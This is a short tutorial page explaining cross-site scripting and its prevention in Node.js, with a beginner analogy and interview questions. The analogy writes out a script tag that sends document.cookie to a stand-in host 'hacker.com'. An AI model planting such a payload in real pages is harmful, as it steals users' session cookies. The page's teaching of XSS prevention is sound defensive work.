Node.js
/Intermediate
XSS Prevention
Definition
Cross-Site Scripting. A vulnerability where an attacker injects malicious executable scripts into the code of a trusted application or website.
Explain Like I'm New
Imagine a forum where users can post comments. A hacker writes a comment containing `<script>fetch('hacker.com?cookie=' + document.cookie)</script>`. If the Node.js server saves that comment blindly to the database, and then sends it to other users to view, the script will execute in THEIR browsers, stealing all their login cookies.
Real World Example
Stealing session tokens, redirecting users to phishing sites, or forcing the user's browser to perform actions on their behalf.
Common Use Cases
- •Sanitizing user input
- •Securing Express APIs
Interactive Example
Loading Code Playground...
Interview Questions
basic
- Does XSS attack the Server or the Client (Browser)?
intermediate
- How do you prevent XSS attacks in a Node/Express app?